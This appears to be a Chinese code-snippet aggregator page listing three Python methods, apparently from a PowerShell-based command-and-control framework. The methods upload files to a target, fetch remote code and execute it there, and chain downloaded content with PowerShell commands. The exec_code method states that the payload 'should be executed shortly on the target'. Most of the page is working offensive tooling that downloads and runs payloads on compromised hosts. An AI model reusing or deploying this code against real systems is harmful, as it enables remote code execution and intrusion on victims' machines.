本文整理汇总了Python中core.utils.Utils.download_url方法的典型用法代码示例。如果您正苦于以下问题:Python Utils.download_url方法的具体用法?Python Utils.download_url怎么用?Python Utils.download_url使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.utils.Utils
的用法示例。
在下文中一共展示了Utils.download_url方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: upload_file
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import download_url [as 别名]
def upload_file(self, data):
try:
cmd, path, remote = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("upload.ps1", 3)
ps = Utils.update_key(ps, "PAYLOAD", data)
ps = Utils.update_key(ps, "PATH", remote)
UI.success("Payload will be saved at %s" % path)
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例2: exec_code
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import download_url [as 别名]
def exec_code(self, data):
try:
cmd, path = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("exec.ps1", 12)
ps = Utils.update_key(ps, "PAYLOAD", data)
UI.success("Payload should be executed shortly on the target")
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例3: fetch
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import download_url [as 别名]
def fetch(self, data):
try:
cmd, path, ps = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
UI.success("Executing %s" % ps)
return "%s;%s" % (data, ps)
else:
UI.error("Cannot fetch the resource")
return ""